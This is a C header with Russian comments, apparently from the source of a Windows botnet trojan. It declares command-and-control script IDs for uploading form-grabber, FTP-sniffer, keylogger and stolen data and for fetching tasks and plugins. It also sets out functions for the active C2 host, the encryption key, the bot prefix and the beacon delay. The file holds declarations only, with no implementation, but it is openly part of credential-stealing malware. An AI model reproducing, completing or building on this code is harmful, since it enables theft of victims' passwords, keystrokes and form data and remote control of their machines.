#ifndef ConfigH
#define ConfigH
//----------------------------------------------------------------------------

#include <windows.h>

//********************************************************************
//
//  Определите имя DEBUGCONFIG если необходимо что-бы бот
//  использовал отладочные настройки
//
//********************************************************************



#if !defined(DEBUGCONFIG) && defined(DEBUGBOT)
	#define DEBUGCONFIG
#endif

// Константы, номера скриптов

#define SCRIPT_FORM_GRABBER  1  /* Скрипт отправки данных HTML форм */
#define SCRIPT_TASK          2  /* Скрипт загрузки задач */
#define SCRIPT_PLUGINS       3  /* Скрипт загрузки плагинов */
#define SCRIPT_FTP_SNIFFER   4  /* Скрипт отправки данных FTP снифффера */
#define SCRIPT_FIRST_INFO    5  /* Скрипт отправки дданных о системе */
#define SCRIPT_GRABBER       6  /* Скрипт отправки награбленных данных */
#define SCRIPT_CAB           7  /* Скрипт отправки награбленных данных */
#define SCRIPT_HUNTER        8  /* Адрес скрипта получения команд модуля Hunter */
#define SCRIPT_COMMENT       9  /* Адрес скрипта получения команд модуля Hunter */
#define SCRIPT_PLUGINS_LIST  10 /* Адрес скрипта получения информации о доступных плагинах на сервере */
#define SCRIPT_KEYLOGGER     11 /* Адрес скрипта, куда будут передаваться данные кейлогера */


// Максимальные размеры массивов с данными
#define MAX_HOSTS_BUF_SIZE 500 /* Максимальный размер буфера хранения ссылок */
#define MAX_PASSWORD_SIZE  100 /* Размер буфера хранения основного пароля */
#define MAX_HOST_SIZE      100 /* Размер буфера для хранения хоста */
#define MAX_PREFIX_SIZE    20  /* Размер буфера для префикса бота */
#define MAX_DELAY_SIZE     8   /* Буфер для хранения задержки */


#define DEFAULT_DELAY  10 /* Задержка по умолчанию */


//------------------------------------------------------------------
//  GetActiveHost - Функция возвращает активный (доступный) хост
//					В случае успеха функция возвращает новую строку
//------------------------------------------------------------------
PCHAR GetActiveHost();


// Функция возвращает пароль для криптования принимаемых/отправляемых данных
PCHAR GetMainPassword(bool NotNULL = false);

// Функция возвращает имя указанного скрипта
// Если указать Path то будет использован этот путь, в противном случае
// будет использоваться путь прописанный для скрипта с номером Script
PCHAR GetBotScriptURL(DWORD Script, PCHAR Path = NULL);

// Функция генерирует случайноре имя скрипта
PCHAR GenerateRandomScript(DWORD Min1, DWORD Max1, DWORD Min2, DWORD Max2, DWORD ExtsCount, PCHAR *Exts);

int GetDelay();

char *GetPrefix();


//------------------------------------------------------------------------
//  Идентификаторы параметров бота
//------------------------------------------------------------------------
#define BOT_PARAM_PREFIX 1   /* Префикс бота  */
#define BOT_PARAM_HOSTS  2   /* Хосты бота */
#define BOT_PARAM_KEY    3   /* Ключ ши фрования */
#define BOT_PARAM_DELAY  4   /* Время отстука */



//------------------------------------------------------------------------
//  GetBotParameter - Функция возвращает парметр бота
//
//  ParamID - Идентификатор параметра
//
//  Buffer - Буфер, куда будет записано значение
//
//  BufSize -  Размер буфера
//
//  Результат: Функция вернёт количество записанных в буфер байт
//			   Если передать в качестве буфера NULL то функция вернёт
// 			   размер данных.
//------------------------------------------------------------------------
DWORD WINAPI GetBotParameter(DWORD ParamID, PCHAR Buffer, DWORD BufSize);


//------------------------------------------------------------------------
//  SetBotParameter - Функция устанавливает параметр бота
//
//  ParamID -  Идентификатор парметра
//
//  Param - Строка оканчивающаяся нулём со значением параметра
//          Если устанавливается параметр Хосты (BOT_PARAM_HOSTS)
//			то принимается набор хостов которые отделены друг от друга
//			нулевым символом, после последнего хоста должно стоять два
//			нулевых символа. т.е. буфер должен заканчиваться пустой
//			строкой. Каждый хост должен быть зашифрован.
//			Все парметры кроме Времени отстука должны быть шифрованными
//------------------------------------------------------------------------
BOOL WINAPI SetBotParameter(DWORD ParamID, PCHAR Param);


// В отладочном режиме предоставляем возможность установить отладочный хост
#ifdef DEBUGCONFIG
void SetDebugHost(PCHAR Host);
#endif

//----------------------------------------------------------------------------
#endif

